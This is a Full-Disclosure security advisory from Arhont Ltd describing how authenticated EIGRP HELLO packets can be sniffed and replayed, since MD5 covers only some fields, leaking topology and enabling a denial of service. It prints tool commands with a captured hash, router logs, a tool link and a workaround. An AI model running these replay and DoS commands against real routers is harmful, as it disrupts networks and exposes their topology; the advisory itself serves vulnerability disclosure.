[Full-disclosure] Authenticated EIGRP DoS / Information leak

Arhont Ltd.- Information Security

Arhont Advisory by:     Arhont Ltd
Advisory:                     Authenticated EIGRP DoS / Information leak
Class:                           design bug
Version:                       EIGRP version 1.2
Model Specific:            Other versions might have the same bug


From experiments with capturing and replaying back at the router a variety of authenticated EIGRP packets, it appears that the MD5 algorithm is ran against the following packet fields: Opcode, AS number, Flags, Sequence Number, Nexthop. Thus, the presence of Message Authentication Code (MAC) does not stop attackers from replaying HELLO packets back at the router. The only condition is needed is to sniff the hash and throw it back at the EIGRP routers. An example of this would be

1. Sniff
arhontus# ./eigrp.pl --sniff --iface eth0
<<<Authentication data: 0002>>>
Size: 40
Key ID: 2
MD5 key digest: efe07403446c77a9697fe5753f79e52
Key in one string (Copy & paste to replay)

2. Replay
arhontus#./eigrp.pl --hello --auth 00020010000000020000000000000000000000000efe07403446c77a9697fe5753f79e52
The packets are received well and trigger back an EIGRP update to sniff it and find more about the network topology:
061751: 04:13:46: EIGRP: received packet with MD5 authentication, key id = 2
061752: 04:13:46: EIGRP: Received HELLO on Ethernet0/0 nbr
061753: 04:13:46: AS 1, Flags 0x0, Seq 0/0 idbQ 0/0 iidbQ un/rely 0/0 peerQ un/rely 0/1
061754: 04:13:46: EIGRP: Sending UPDATE on Ethernet0/0 nbr, retry 2, RTO 4500
061755: 04:13:46: AS 1, Flags 0x9, Seq 2162/0 idbQ 1/0 iidbQ un/rely 0/0 peerQ un/rely 0/1 serno 3-8

As a result of it, additional information about the EIGRP domain can be collected from the triggered UPDATE packets.

Besides, using this method the FX EIGRP/ARP DoS attack (BID 6443) can be ported to the authenticated EIGRP routing domain. This is done by combining --hellodos and --auth <captured hash> flags when running the attack using our EIGRP packet generator. The attack appears to be more efficient, than the original attack described by FX, since the routers recover much slower. This is possibly due to the additional overhead of processing the authentication information. An example of the attack command killing the network would be
arhontus#./eigrp.pl --hellodos --auth 00020010000000020000000000000000000000000efe07403446c77a9697fe5753f79e52 --source

Tool: http://www.hackingciscoexposed.com/tools/eigrp-tools.tar.gz

Risk Factor: Medium for DoS, Low for the Information Leak

Workarounds: Extend the Message Authentication Code onto the currently unauthenticated EIGRP packet fields.

Communication History: sent to PSIRT on 10/10/05

*According to the Arhont Ltd. policy, all of the found vulnerabilities and security issues will be reported to the manufacturer at least 7 days before
releasing them to the public domains (such as CERT and BUGTRAQ).

If you would like to get more information about this issue, please do not hesitate to contact Arhont team.*

Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/